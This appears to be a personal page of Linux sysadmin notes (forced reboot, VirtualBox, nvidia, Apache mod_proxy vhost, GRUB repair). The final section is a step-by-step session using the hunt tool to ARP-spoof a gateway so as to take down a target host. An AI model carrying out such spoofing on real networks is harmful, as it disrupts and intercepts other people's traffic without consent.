force reboot linux server

# this command is more powerfull than reboot -f
echo “b” > /proc/sysrq-trigger

How to fix transparent virtualbox window in ubuntu

If the virtual box window is transparent -

change the launcher shortcut command from : "VirtualBox" to :

"env XLIB_SKIP_ARGB_VISUALS=1 VirtualBox"

how to install nvidia driver in ubuntu

envy : http://albertomilone.com/nvidia_scripts1.html

nvidia-settings

(if there is problem saving config then : rm /etc/X11/xorg.conf; nvidia-xconfig)

ubuntu screen profiles how to

sudo apt-get install -y screen-profiles
sudo apt-get install -y screen-profiles-extras

# to configure run ;
$ screen-profiles

apache mod_proxy how to

Links :
-------
http://httpd.apache.org/docs/2.2/mod/mod_proxy.html#proxypassreverse
http://apache.webthing.com/mod_proxy_html/  -->   http://www.apachetutor.org/admin/reverseproxies

Modules :
---------
yum install httpd-devel
yum install libxml2-devel

Configuration:
--------------
cp proxy_html.conf /etc/httpd/conf/
vim /etc/httpd/conf/httpd.conf

LoadFile   /usr/lib/libxml2.so
LoadModule proxy_html_module modules/mod_proxy_html.so
Include conf/proxy_html.conf

(
Also Check :
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
)

Vhost :
-------
Example :

<VirtualHost 208.109.169.70:80>
    ServerAdmin "webmaster@upframr.com"
    ServerName upframr.com
    ServerAlias www.upframr.com
    MIMEMagicFile /dev/null
    CustomLog logs/upframr.com_access_log "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
    ErrorLog logs/upframr.com_error_log

    DocumentRoot "/home/admin2/public_html"
    <Directory "/home/admin2/public_html">
        Options +Indexes +FollowSymLinks
        Order allow,deny
        Allow from all
        AllowOverride All
        AddHandler mod_python .py
        PythonHandler mod_python.publisher
        PythonDebug On
    </Directory>

    Alias /mod_perl "/home/admin2/public_html/mod_perl"
    <Directory "/home/admin2/public_html/mod_perl">
        SetHandler perl-script
        PerlResponseHandler ModPerl::Registry
        PerlOptions +ParseHeaders
        Options +ExecCGI
    </Directory>

    <Location /perl-status>
        SetHandler perl-script
        PerlResponseHandler Apache::Status
        Order deny,allow
        Deny from all
        Allow from upframr.com
    </Location>

    ScriptAlias /cgi-bin "/home/admin2/public_html/cgi-bin"

    Alias /usage /var/www/stats/upframr.com
    <Directory /var/www/stats/upframr.com>
        Order allow,deny
        Allow from all
    </Directory>

    <Location /usage>
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

How to fix grub boot problem in ubuntu linux

sudo grub
find /boot/grub/stage1
    (hd0,1)
root (hd0,1)
setup (hd0)
quit

ip takeover attack with hunt to arp spoof

$ sudo apt-get install hunt


$ sudo hunt
/*
 * hunt 1.5
 * multipurpose connection intruder / sniffer for Linux
 * (c) 1998-2000 by kra
 */
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
-> d
--- daemons --- rcvpkt 148, free/alloc 63/64 ------
r) reset daemon
a) arp spoof + arp relayer daemon
s) sniff daemon
m) mac discovery daemon
x) return
-dm> a
--- arpspoof daemon --- rcvpkt 250, free/alloc 63/64 ------
s/k) start/stop relayer daemon
l/L) list arp spoof database
a)   add host to host arp spoof     i/I) insert single/range arp spoof
d)   delete host to host arp spoof  r/R) remove single/range arp spoof
t/T) test if arp spoof successed    y) relay database
x)   return
-arps> i
host to spoof> 10.1.1.253  # DEFAULT GATEWAY IP ADDRESS
fake mac [EA:1A:DE:AD:BE:01]>   # RANDOM MAC ADDR, DEFAULT OK
target - where to insert the spoof> 10.1.1.48  # IP OF HOST TO TAKE DOWN
refresh interval sec [0]> 1
ARP spoof of 10.1.1.253 with fake mac EA:1A:DE:AD:BE:01 in host 10.1.1.48 FAILED
do you want to force arp spoof until successed y/n [y]> y
CTRL-C to break
....^C